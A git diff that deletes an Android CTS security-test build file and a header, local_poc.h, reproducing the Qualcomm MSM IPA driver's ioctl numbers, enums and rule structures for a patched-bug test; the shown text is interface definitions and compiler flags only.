-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/local_poc.h b/hostsidetests/security/securityPatch/Bug-35047780/local_poc.h
deleted file mode 100644
index 106681c..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047780/local_poc.h
+++ /dev/null
@@ -1,1759 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _UAPI_MSM_IPA_H_
-#define _UAPI_MSM_IPA_H_
-
-#ifndef __KERNEL__
-#include <stdint.h>
-#include <stddef.h>
-#include <sys/stat.h>
-#endif
-#include <linux/ioctl.h>
-#include <linux/types.h>
-#include <linux/if_ether.h>
-
-/**
- * unique magic number of the IPA device
- */
-#define IPA_IOC_MAGIC 0xCF
-
-/**
- * name of the default routing tables for v4 and v6
- */
-#define IPA_DFLT_RT_TBL_NAME "ipa_dflt_rt"
-
-/**
- *   the commands supported by IPA driver
- */
-#define IPA_IOCTL_ADD_HDR            0
-#define IPA_IOCTL_DEL_HDR            1
-#define IPA_IOCTL_ADD_RT_RULE        2
-#define IPA_IOCTL_DEL_RT_RULE        3
-#define IPA_IOCTL_ADD_FLT_RULE       4
-#define IPA_IOCTL_DEL_FLT_RULE       5
-#define IPA_IOCTL_COMMIT_HDR         6
-#define IPA_IOCTL_RESET_HDR          7
-#define IPA_IOCTL_COMMIT_RT          8
-#define IPA_IOCTL_RESET_RT           9
-#define IPA_IOCTL_COMMIT_FLT        10
-#define IPA_IOCTL_RESET_FLT         11
-#define IPA_IOCTL_DUMP              12
-#define IPA_IOCTL_GET_RT_TBL        13
-#define IPA_IOCTL_PUT_RT_TBL        14
-#define IPA_IOCTL_COPY_HDR          15
-#define IPA_IOCTL_QUERY_INTF        16
-#define IPA_IOCTL_QUERY_INTF_TX_PROPS 17
-#define IPA_IOCTL_QUERY_INTF_RX_PROPS 18
-#define IPA_IOCTL_GET_HDR           19
-#define IPA_IOCTL_PUT_HDR           20
-#define IPA_IOCTL_SET_FLT        21
-#define IPA_IOCTL_ALLOC_NAT_MEM  22
-#define IPA_IOCTL_V4_INIT_NAT    23
-#define IPA_IOCTL_NAT_DMA        24
-#define IPA_IOCTL_V4_DEL_NAT     26
-#define IPA_IOCTL_PULL_MSG       27
-#define IPA_IOCTL_GET_NAT_OFFSET 28
-#define IPA_IOCTL_RM_ADD_DEPENDENCY 29
-#define IPA_IOCTL_RM_DEL_DEPENDENCY 30
-#define IPA_IOCTL_GENERATE_FLT_EQ 31
-#define IPA_IOCTL_QUERY_INTF_EXT_PROPS 32
-#define IPA_IOCTL_QUERY_EP_MAPPING 33
-#define IPA_IOCTL_QUERY_RT_TBL_INDEX 34
-#define IPA_IOCTL_WRITE_QMAPID 35
-#define IPA_IOCTL_MDFY_FLT_RULE 36
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD        37
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL        38
-#define IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED        39
-#define IPA_IOCTL_ADD_HDR_PROC_CTX 40
-#define IPA_IOCTL_DEL_HDR_PROC_CTX 41
-#define IPA_IOCTL_MDFY_RT_RULE 42
-#define IPA_IOCTL_ADD_RT_RULE_AFTER 43
-#define IPA_IOCTL_ADD_FLT_RULE_AFTER 44
-#define IPA_IOCTL_GET_HW_VERSION 45
-#define IPA_IOCTL_MAX 46
-
-/**
- * max size of the header to be inserted
- */
-#define IPA_HDR_MAX_SIZE 64
-
-/**
- * max size of the name of the resource (routing table, header)
- */
-#define IPA_RESOURCE_NAME_MAX 32
-
-/**
- * max number of interface properties
- */
-#define IPA_NUM_PROPS_MAX 35
-
-/**
- * size of the mac address
- */
-#define IPA_MAC_ADDR_SIZE  6
-
-/**
- * max number of mbim streams
- */
-#define IPA_MBIM_MAX_STREAM_NUM 8
-
-/**
- * the attributes of the rule (routing or filtering)
- */
-#define IPA_FLT_TOS                        (1ul << 0)
-#define IPA_FLT_PROTOCOL                (1ul << 1)
-#define IPA_FLT_SRC_ADDR                (1ul << 2)
-#define IPA_FLT_DST_ADDR                (1ul << 3)
-#define IPA_FLT_SRC_PORT_RANGE                (1ul << 4)
-#define IPA_FLT_DST_PORT_RANGE                (1ul << 5)
-#define IPA_FLT_TYPE                        (1ul << 6)
-#define IPA_FLT_CODE                        (1ul << 7)
-#define IPA_FLT_SPI                        (1ul << 8)
-#define IPA_FLT_SRC_PORT                (1ul << 9)
-#define IPA_FLT_DST_PORT                (1ul << 10)
-#define IPA_FLT_TC                        (1ul << 11)
-#define IPA_FLT_FLOW_LABEL                (1ul << 12)
-#define IPA_FLT_NEXT_HDR                (1ul << 13)
-#define IPA_FLT_META_DATA                (1ul << 14)
-#define IPA_FLT_FRAGMENT                (1ul << 15)
-#define IPA_FLT_TOS_MASKED                (1ul << 16)
-#define IPA_FLT_MAC_SRC_ADDR_ETHER_II        (1ul << 17)
-#define IPA_FLT_MAC_DST_ADDR_ETHER_II        (1ul << 18)
-#define IPA_FLT_MAC_SRC_ADDR_802_3        (1ul << 19)
-#define IPA_FLT_MAC_DST_ADDR_802_3        (1ul << 20)
-#define IPA_FLT_MAC_ETHER_TYPE                (1ul << 21)
-
-/**
- * enum ipa_client_type - names for the various IPA "clients"
- * these are from the perspective of the clients, for e.g.
- * HSIC1_PROD means HSIC client is the producer and IPA is the
- * consumer
- */
-enum ipa_client_type {
-        IPA_CLIENT_PROD,
-        IPA_CLIENT_HSIC1_PROD = IPA_CLIENT_PROD,
-        IPA_CLIENT_WLAN1_PROD,
-        IPA_CLIENT_HSIC2_PROD,
-        IPA_CLIENT_USB2_PROD,
-        IPA_CLIENT_HSIC3_PROD,
-        IPA_CLIENT_USB3_PROD,
-        IPA_CLIENT_HSIC4_PROD,
-        IPA_CLIENT_USB4_PROD,
-        IPA_CLIENT_HSIC5_PROD,
-        IPA_CLIENT_USB_PROD,
-        IPA_CLIENT_A5_WLAN_AMPDU_PROD,
-        IPA_CLIENT_A2_EMBEDDED_PROD,
-        IPA_CLIENT_A2_TETHERED_PROD,
-        IPA_CLIENT_APPS_LAN_WAN_PROD,
-        IPA_CLIENT_APPS_CMD_PROD,
-        IPA_CLIENT_ODU_PROD,
-        IPA_CLIENT_MHI_PROD,
-        IPA_CLIENT_Q6_LAN_PROD,
-        IPA_CLIENT_Q6_WAN_PROD,
-        IPA_CLIENT_Q6_CMD_PROD,
-        IPA_CLIENT_MEMCPY_DMA_SYNC_PROD,
-        IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD,
-        IPA_CLIENT_Q6_DECOMP_PROD,
-        IPA_CLIENT_Q6_DECOMP2_PROD,
-        IPA_CLIENT_UC_USB_PROD,
-
-        /* Below PROD client type is only for test purpose */
-        IPA_CLIENT_TEST_PROD,
-        IPA_CLIENT_TEST1_PROD,
-        IPA_CLIENT_TEST2_PROD,
-        IPA_CLIENT_TEST3_PROD,
-        IPA_CLIENT_TEST4_PROD,
-
-        IPA_CLIENT_CONS,
-        IPA_CLIENT_HSIC1_CONS = IPA_CLIENT_CONS,
-        IPA_CLIENT_WLAN1_CONS,
-        IPA_CLIENT_HSIC2_CONS,
-        IPA_CLIENT_USB2_CONS,
-        IPA_CLIENT_WLAN2_CONS,
-        IPA_CLIENT_HSIC3_CONS,
-        IPA_CLIENT_USB3_CONS,
-        IPA_CLIENT_WLAN3_CONS,
-        IPA_CLIENT_HSIC4_CONS,
-        IPA_CLIENT_USB4_CONS,
-        IPA_CLIENT_WLAN4_CONS,
-        IPA_CLIENT_HSIC5_CONS,
-        IPA_CLIENT_USB_CONS,
-        IPA_CLIENT_USB_DPL_CONS,
-        IPA_CLIENT_A2_EMBEDDED_CONS,
-        IPA_CLIENT_A2_TETHERED_CONS,
-        IPA_CLIENT_A5_LAN_WAN_CONS,
-        IPA_CLIENT_APPS_LAN_CONS,
-        IPA_CLIENT_APPS_WAN_CONS,
-        IPA_CLIENT_ODU_EMB_CONS,
-        IPA_CLIENT_ODU_TETH_CONS,
-        IPA_CLIENT_MHI_CONS,
-        IPA_CLIENT_Q6_LAN_CONS,
-        IPA_CLIENT_Q6_WAN_CONS,
-        IPA_CLIENT_Q6_DUN_CONS,
-        IPA_CLIENT_MEMCPY_DMA_SYNC_CONS,
-        IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS,
-        IPA_CLIENT_Q6_DECOMP_CONS,
-        IPA_CLIENT_Q6_DECOMP2_CONS,
-        IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS,
-        /* Below CONS client type is only for test purpose */
-        IPA_CLIENT_TEST_CONS,
-        IPA_CLIENT_TEST1_CONS,
-        IPA_CLIENT_TEST2_CONS,
-        IPA_CLIENT_TEST3_CONS,
-        IPA_CLIENT_TEST4_CONS,
-
-        IPA_CLIENT_MAX,
-};
-
-#define IPA_CLIENT_IS_APPS_CONS(client) \
-        ((client) == IPA_CLIENT_APPS_LAN_CONS || \
-        (client) == IPA_CLIENT_APPS_WAN_CONS)
-
-#define IPA_CLIENT_IS_USB_CONS(client) \
-        ((client) == IPA_CLIENT_USB_CONS || \
-        (client) == IPA_CLIENT_USB2_CONS || \
-        (client) == IPA_CLIENT_USB3_CONS || \
-        (client) == IPA_CLIENT_USB_DPL_CONS || \
-        (client) == IPA_CLIENT_USB4_CONS)
-
-#define IPA_CLIENT_IS_WLAN_CONS(client) \
-        ((client) == IPA_CLIENT_WLAN1_CONS || \
-        (client) == IPA_CLIENT_WLAN2_CONS || \
-        (client) == IPA_CLIENT_WLAN3_CONS || \
-        (client) == IPA_CLIENT_WLAN4_CONS)
-
-#define IPA_CLIENT_IS_ODU_CONS(client) \
-        ((client) == IPA_CLIENT_ODU_EMB_CONS || \
-        (client) == IPA_CLIENT_ODU_TETH_CONS)
-
-#define IPA_CLIENT_IS_Q6_CONS(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
-        (client) == IPA_CLIENT_Q6_WAN_CONS || \
-        (client) == IPA_CLIENT_Q6_DUN_CONS || \
-        (client) == IPA_CLIENT_Q6_DECOMP_CONS || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_CONS || \
-        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_PROD(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
-        (client) == IPA_CLIENT_Q6_WAN_PROD || \
-        (client) == IPA_CLIENT_Q6_CMD_PROD || \
-        (client) == IPA_CLIENT_Q6_DECOMP_PROD || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_CONS(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
-        (client) == IPA_CLIENT_Q6_WAN_CONS || \
-        (client) == IPA_CLIENT_Q6_DUN_CONS || \
-        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_ZIP_CONS(client) \
-        ((client) == IPA_CLIENT_Q6_DECOMP_CONS || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_CONS)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_PROD(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
-        (client) == IPA_CLIENT_Q6_WAN_PROD || \
-        (client) == IPA_CLIENT_Q6_CMD_PROD)
-
-#define IPA_CLIENT_IS_Q6_ZIP_PROD(client) \
-        ((client) == IPA_CLIENT_Q6_DECOMP_PROD || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_CONS(client) \
-        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_CONS || \
-        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_PROD(client) \
-        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_PROD || \
-        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD)
-
-#define IPA_CLIENT_IS_MHI_CONS(client) \
-        ((client) == IPA_CLIENT_MHI_CONS)
-
-#define IPA_CLIENT_IS_MHI(client) \
-        ((client) == IPA_CLIENT_MHI_CONS || \
-        (client) == IPA_CLIENT_MHI_PROD)
-
-#define IPA_CLIENT_IS_TEST_PROD(client) \
-        ((client) == IPA_CLIENT_TEST_PROD || \
-        (client) == IPA_CLIENT_TEST1_PROD || \
-        (client) == IPA_CLIENT_TEST2_PROD || \
-        (client) == IPA_CLIENT_TEST3_PROD || \
-        (client) == IPA_CLIENT_TEST4_PROD)
-
-#define IPA_CLIENT_IS_TEST_CONS(client) \
-        ((client) == IPA_CLIENT_TEST_CONS || \
-        (client) == IPA_CLIENT_TEST1_CONS || \
-        (client) == IPA_CLIENT_TEST2_CONS || \
-        (client) == IPA_CLIENT_TEST3_CONS || \
-        (client) == IPA_CLIENT_TEST4_CONS)
-
-#define IPA_CLIENT_IS_TEST(client) \
-        (IPA_CLIENT_IS_TEST_PROD(client) || IPA_CLIENT_IS_TEST_CONS(client))
-
-/**
- * enum ipa_ip_type - Address family: IPv4 or IPv6
- */
-enum ipa_ip_type {
-        IPA_IP_v4,
-        IPA_IP_v6,
-        IPA_IP_MAX
-};
-
-/**
- * enum ipa_rule_type - Type of routing or filtering rule
- * Hashable: Rule will be located at the hashable tables
- * Non_Hashable: Rule will be located at the non-hashable tables
- */
-enum ipa_rule_type {
-        IPA_RULE_HASHABLE,
-        IPA_RULE_NON_HASHABLE,
-        IPA_RULE_TYPE_MAX
-};
-
-/**
- * enum ipa_flt_action - action field of filtering rule
- *
- * Pass to routing: 5'd0
- * Pass to source NAT: 5'd1
- * Pass to destination NAT: 5'd2
- * Pass to default output pipe (e.g., Apps or Modem): 5'd3
- */
-enum ipa_flt_action {
-        IPA_PASS_TO_ROUTING,
-        IPA_PASS_TO_SRC_NAT,
-        IPA_PASS_TO_DST_NAT,
-        IPA_PASS_TO_EXCEPTION
-};
-
-/**
- * enum ipa_wlan_event - Events for wlan client
- *
- * wlan client connect: New wlan client connected
- * wlan client disconnect: wlan client disconnected
- * wlan client power save: wlan client moved to power save
- * wlan client normal: wlan client moved out of power save
- * sw routing enable: ipa routing is disabled
- * sw routing disable: ipa routing is enabled
- * wlan ap connect: wlan AP(access point) is up
- * wlan ap disconnect: wlan AP(access point) is down
- * wlan sta connect: wlan STA(station) is up
- * wlan sta disconnect: wlan STA(station) is down
- * wlan client connect ex: new wlan client connected
- * wlan scc switch: wlan interfaces in scc mode
- * wlan mcc switch: wlan interfaces in mcc mode
- * wlan wdi enable: wdi data path completed
- * wlan wdi disable: wdi data path teardown
- */
-enum ipa_wlan_event {
-        WLAN_CLIENT_CONNECT,
-        WLAN_CLIENT_DISCONNECT,
-        WLAN_CLIENT_POWER_SAVE_MODE,
-        WLAN_CLIENT_NORMAL_MODE,
-        SW_ROUTING_ENABLE,
-        SW_ROUTING_DISABLE,
-        WLAN_AP_CONNECT,
-        WLAN_AP_DISCONNECT,
-        WLAN_STA_CONNECT,
-        WLAN_STA_DISCONNECT,
-        WLAN_CLIENT_CONNECT_EX,
-        WLAN_SWITCH_TO_SCC,
-        WLAN_SWITCH_TO_MCC,
-        WLAN_WDI_ENABLE,
-        WLAN_WDI_DISABLE,
-        IPA_WLAN_EVENT_MAX
-};
-
-/**
- * enum ipa_wan_event - Events for wan client
- *
- * wan default route add/del
- * wan embms connect: New wan embms interface connected
- */
-enum ipa_wan_event {
-        WAN_UPSTREAM_ROUTE_ADD = IPA_WLAN_EVENT_MAX,
-        WAN_UPSTREAM_ROUTE_DEL,
-        WAN_EMBMS_CONNECT,
-        WAN_XLAT_CONNECT,
-        IPA_WAN_EVENT_MAX
-};
-
-enum ipa_ecm_event {
-        ECM_CONNECT = IPA_WAN_EVENT_MAX,
-        ECM_DISCONNECT,
-        IPA_ECM_EVENT_MAX,
-};
-
-enum ipa_tethering_stats_event {
-        IPA_TETHERING_STATS_UPDATE_STATS = IPA_ECM_EVENT_MAX,
-        IPA_TETHERING_STATS_UPDATE_NETWORK_STATS,
-        IPA_TETHERING_STATS_EVENT_MAX,
-        IPA_EVENT_MAX_NUM = IPA_TETHERING_STATS_EVENT_MAX
-};
-
-#define IPA_EVENT_MAX ((int)IPA_EVENT_MAX_NUM)
-
-/**
- * enum ipa_rm_resource_name - IPA RM clients identification names
- *
- * Add new mapping to ipa_rm_prod_index() / ipa_rm_cons_index()
- * when adding new entry to this enum.
- */
-enum ipa_rm_resource_name {
-        IPA_RM_RESOURCE_PROD = 0,
-        IPA_RM_RESOURCE_Q6_PROD = IPA_RM_RESOURCE_PROD,
-        IPA_RM_RESOURCE_USB_PROD,
-        IPA_RM_RESOURCE_USB_DPL_DUMMY_PROD,
-        IPA_RM_RESOURCE_HSIC_PROD,
-        IPA_RM_RESOURCE_STD_ECM_PROD,
-        IPA_RM_RESOURCE_RNDIS_PROD,
-        IPA_RM_RESOURCE_WWAN_0_PROD,
-        IPA_RM_RESOURCE_WLAN_PROD,
-        IPA_RM_RESOURCE_ODU_ADAPT_PROD,
-        IPA_RM_RESOURCE_MHI_PROD,
-        IPA_RM_RESOURCE_PROD_MAX,
-
-        IPA_RM_RESOURCE_Q6_CONS = IPA_RM_RESOURCE_PROD_MAX,
-        IPA_RM_RESOURCE_USB_CONS,
-        IPA_RM_RESOURCE_USB_DPL_CONS,
-        IPA_RM_RESOURCE_HSIC_CONS,
-        IPA_RM_RESOURCE_WLAN_CONS,
-        IPA_RM_RESOURCE_APPS_CONS,
-        IPA_RM_RESOURCE_ODU_ADAPT_CONS,
-        IPA_RM_RESOURCE_MHI_CONS,
-        IPA_RM_RESOURCE_MAX
-};
-
-/**
- * enum ipa_hw_type - IPA hardware version type
- * @IPA_HW_None: IPA hardware version not defined
- * @IPA_HW_v1_0: IPA hardware version 1.0
- * @IPA_HW_v1_1: IPA hardware version 1.1
- * @IPA_HW_v2_0: IPA hardware version 2.0
- * @IPA_HW_v2_1: IPA hardware version 2.1
- * @IPA_HW_v2_5: IPA hardware version 2.5
- * @IPA_HW_v2_6: IPA hardware version 2.6
- * @IPA_HW_v2_6L: IPA hardware version 2.6L
- * @IPA_HW_v3_0: IPA hardware version 3.0
- */
-enum ipa_hw_type {
-        IPA_HW_None = 0,
-        IPA_HW_v1_0 = 1,
-        IPA_HW_v1_1 = 2,
-        IPA_HW_v2_0 = 3,
-        IPA_HW_v2_1 = 4,
-        IPA_HW_v2_5 = 5,
-        IPA_HW_v2_6 = IPA_HW_v2_5,
-        IPA_HW_v2_6L = 6,
-        IPA_HW_v3_0 = 10,
-        IPA_HW_v3_1 = 11,
-        IPA_HW_MAX
-};
-
-/**
- * struct ipa_rule_attrib - attributes of a routing/filtering
- * rule, all in LE
- * @attrib_mask: what attributes are valid
- * @src_port_lo: low port of src port range
- * @src_port_hi: high port of src port range
- * @dst_port_lo: low port of dst port range
- * @dst_port_hi: high port of dst port range
- * @type: ICMP/IGMP type
- * @code: ICMP/IGMP code
- * @spi: IPSec SPI
- * @src_port: exact src port
- * @dst_port: exact dst port
- * @meta_data: meta-data val
- * @meta_data_mask: meta-data mask
- * @u.v4.tos: type of service
- * @u.v4.protocol: protocol
- * @u.v4.src_addr: src address value
- * @u.v4.src_addr_mask: src address mask
- * @u.v4.dst_addr: dst address value
- * @u.v4.dst_addr_mask: dst address mask
- * @u.v6.tc: traffic class
- * @u.v6.flow_label: flow label
- * @u.v6.next_hdr: next header
- * @u.v6.src_addr: src address val
- * @u.v6.src_addr_mask: src address mask
- * @u.v6.dst_addr: dst address val
- * @u.v6.dst_addr_mask: dst address mask
- */
-struct ipa_rule_attrib {
-        uint32_t attrib_mask;
-        uint16_t src_port_lo;
-        uint16_t src_port_hi;
-        uint16_t dst_port_lo;
-        uint16_t dst_port_hi;
-        uint8_t type;
-        uint8_t code;
-        uint8_t tos_value;
-        uint8_t tos_mask;
-        uint32_t spi;
-        uint16_t src_port;
-        uint16_t dst_port;
-        uint32_t meta_data;
-        uint32_t meta_data_mask;
-        uint8_t src_mac_addr[ETH_ALEN];
-        uint8_t src_mac_addr_mask[ETH_ALEN];
-        uint8_t dst_mac_addr[ETH_ALEN];
-        uint8_t dst_mac_addr_mask[ETH_ALEN];
-        uint16_t ether_type;
-        union {
-                struct {
-                        uint8_t tos;
-                        uint8_t protocol;
-                        uint32_t src_addr;
-                        uint32_t src_addr_mask;
-                        uint32_t dst_addr;
-                        uint32_t dst_addr_mask;
-                } v4;
-                struct {
-                        uint8_t tc;
-                        uint32_t flow_label;
-                        uint8_t next_hdr;
-                        uint32_t src_addr[4];
-                        uint32_t src_addr_mask[4];
-                        uint32_t dst_addr[4];
-                        uint32_t dst_addr_mask[4];
-                } v6;
-        } u;
-};
-
-/*! @brief The maximum number of Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of IHL offset Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of Mask Equal 128 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_128_EQNS 2
-
-/*! @brief The maximum number of IHL offset Range Check 16 Eqns */
-#define IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS 2
-
-/*! @brief Offset and 16 bit comparison equation */
-struct ipa_ipfltr_eq_16 {
-        int8_t offset;
-        uint16_t value;
-};
-
-/*! @brief Offset and 32 bit comparison equation */
-struct ipa_ipfltr_eq_32 {
-        int8_t offset;
-        uint32_t value;
-};
-
-/*! @brief Offset and 128 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_128 {
-        int8_t offset;
-        uint8_t mask[16];
-        uint8_t value[16];
-};
-
-/*! @brief Offset and 32 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_32 {
-        int8_t offset;
-        uint32_t mask;
-        uint32_t value;
-};
-
-/*! @brief Equation for identifying a range. Ranges are inclusive */
-struct ipa_ipfltr_range_eq_16 {
-        int8_t offset;
-        uint16_t range_low;
-        uint16_t range_high;
-};
-
-/*! @brief Rule equations which are set according to DS filter installation */
-struct ipa_ipfltri_rule_eq {
-        /*! 16-bit Bitmask to indicate how many eqs are valid in this rule  */
-        uint16_t rule_eq_bitmap;
-        /*! Specifies if a type of service check rule is present */
-        uint8_t tos_eq_present;
-        /*! The value to check against the type of service (ipv4) field */
-        uint8_t tos_eq;
-        /*! Specifies if a protocol check rule is present */
-        uint8_t protocol_eq_present;
-        /*! The value to check against the protocol (ipv6) field */
-        uint8_t protocol_eq;
-        /*! The number of ip header length offset 16 bit range check
-         * rules in this rule */
-        uint8_t num_ihl_offset_range_16;
-        /*! An array of the registered ip header length offset 16 bit
-         * range check rules */
-        struct ipa_ipfltr_range_eq_16
-                ihl_offset_range_16[IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS];
-        /*! The number of mask equal 32 rules present in this rule */
-        uint8_t num_offset_meq_32;
-        /*! An array of all the possible mask equal 32 rules in this rule */
-        struct ipa_ipfltr_mask_eq_32
-                offset_meq_32[IPA_IPFLTR_NUM_MEQ_32_EQNS];
-        /*! Specifies if the traffic class rule is present in this rule */
-        uint8_t tc_eq_present;
-        /*! The value to check the traffic class (ipv4) field against */
-        uint8_t tc_eq;
-        /*! Specifies if the flow equals rule is present in this rule */
-        uint8_t fl_eq_present;
-        /*! The value to check the flow (ipv6) field against */
-        uint32_t fl_eq;
-        /*! The number of ip header length offset 16 bit equations in this
-         * rule */
-        uint8_t ihl_offset_eq_16_present;
-        /*! The ip header length offset 16 bit equation */
-        struct ipa_ipfltr_eq_16 ihl_offset_eq_16;
-        /*! The number of ip header length offset 32 bit equations in this
-         * rule */
-        uint8_t ihl_offset_eq_32_present;
-        /*! The ip header length offset 32 bit equation */
-        struct ipa_ipfltr_eq_32 ihl_offset_eq_32;
-        /*! The number of ip header length offset 32 bit mask equations in
-         * this rule */
-        uint8_t num_ihl_offset_meq_32;
-        /*! The ip header length offset 32 bit mask equation */
-        struct ipa_ipfltr_mask_eq_32
-                ihl_offset_meq_32[IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS];
-        /*! The number of ip header length offset 128 bit equations in this
-         * rule */
-        uint8_t num_offset_meq_128;
-        /*! The ip header length offset 128 bit equation */
-        struct ipa_ipfltr_mask_eq_128
-                offset_meq_128[IPA_IPFLTR_NUM_MEQ_128_EQNS];
-        /*! The metadata 32 bit masked comparison equation present or not */
-        /* Metadata based rules are added internally by IPA driver */
-        uint8_t metadata_meq32_present;
-        /*! The metadata 32 bit masked comparison equation */
-        struct ipa_ipfltr_mask_eq_32 metadata_meq32;
-        /*! Specifies if the Fragment equation is present in this rule */
-        uint8_t ipv4_frag_eq_present;
-};
-
-/**
- * struct ipa_flt_rule - attributes of a filtering rule
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- *  the header removed as part of header removal
- * @to_uc: bool switch to pass packet to micro-controller
- * @action: action field
- * @rt_tbl_hdl: handle of table from "get"
- * @attrib: attributes of the rule
- * @eq_attrib: attributes of the rule in equation form (valid when
- * eq_attrib_type is true)
- * @rt_tbl_idx: index of RT table referred to by filter rule (valid when
- * eq_attrib_type is true and non-exception action)
- * @eq_attrib_type: true if equation level form used to specify attributes
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- *  IPA will use the rule and will not look for other rules that may have
- *  higher priority
- * @hashable: bool switch. is this rule hashable or not?
- *  ipa uses hashable rules to cache their hit results to be used in
- *  consecutive packets
- * @rule_id: rule_id to be assigned to the filter rule. In case client specifies
- *  rule_id as 0 the driver will assign a new rule_id
- */
-struct ipa_flt_rule {
-        uint8_t retain_hdr;
-        uint8_t to_uc;
-        enum ipa_flt_action action;
-        uint32_t rt_tbl_hdl;
-        struct ipa_rule_attrib attrib;
-        struct ipa_ipfltri_rule_eq eq_attrib;
-        uint32_t rt_tbl_idx;
-        uint8_t eq_attrib_type;
-        uint8_t max_prio;
-        uint8_t hashable;
-        uint16_t rule_id;
-};
-
-/**
- * enum ipa_hdr_l2_type - L2 header type
- * IPA_HDR_L2_NONE: L2 header which isn't Ethernet II and isn't 802_3
- * IPA_HDR_L2_ETHERNET_II: L2 header of type Ethernet II
- * IPA_HDR_L2_802_3: L2 header of type 802_3
- */
-enum ipa_hdr_l2_type {
-        IPA_HDR_L2_NONE,
-        IPA_HDR_L2_ETHERNET_II,
-        IPA_HDR_L2_802_3,
-        IPA_HDR_L2_MAX,
-};
-
-/**
- * enum ipa_hdr_l2_type - Processing context type
- * IPA_HDR_PROC_NONE: No processing context
- * IPA_HDR_PROC_ETHII_TO_ETHII: Process Ethernet II to Ethernet II
- * IPA_HDR_PROC_ETHII_TO_802_3: Process Ethernet II to 802_3
- * IPA_HDR_PROC_802_3_TO_ETHII: Process 802_3 to Ethernet II
- * IPA_HDR_PROC_802_3_TO_802_3: Process 802_3 to 802_3
- */
-enum ipa_hdr_proc_type {
-        IPA_HDR_PROC_NONE,
-        IPA_HDR_PROC_ETHII_TO_ETHII,
-        IPA_HDR_PROC_ETHII_TO_802_3,
-        IPA_HDR_PROC_802_3_TO_ETHII,
-        IPA_HDR_PROC_802_3_TO_802_3,
-        IPA_HDR_PROC_MAX,
-};
-
-/**
- * struct ipa_rt_rule - attributes of a routing rule
- * @dst: dst "client"
- * @hdr_hdl: handle to the dynamic header
-        it is not an index or an offset
- * @hdr_proc_ctx_hdl: handle to header processing context. if it is provided
-        hdr_hdl shall be 0
- * @attrib: attributes of the rule
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- *  IPA will use the rule and will not look for other rules that may have
- *  higher priority
- * @hashable: bool switch. is this rule hashable or not?
- *  ipa uses hashable rules to cache their hit results to be used in
- *  consecutive packets
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- *  the header removed as part of header removal
- */
-struct ipa_rt_rule {
-        enum ipa_client_type dst;
-        uint32_t hdr_hdl;
-        uint32_t hdr_proc_ctx_hdl;
-        struct ipa_rule_attrib attrib;
-        uint8_t max_prio;
-        uint8_t hashable;
-        uint8_t retain_hdr;
-};
-
-/**
- * struct ipa_hdr_add - header descriptor includes in and out
- * parameters
- * @name: name of the header
- * @hdr: actual header to be inserted
- * @hdr_len: size of above header
- * @type: l2 header type
- * @is_partial: header not fully specified
- * @hdr_hdl: out parameter, handle to header, valid when status is 0
- * @status:        out parameter, status of header add operation,
- *                0 for success,
- *                -1 for failure
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
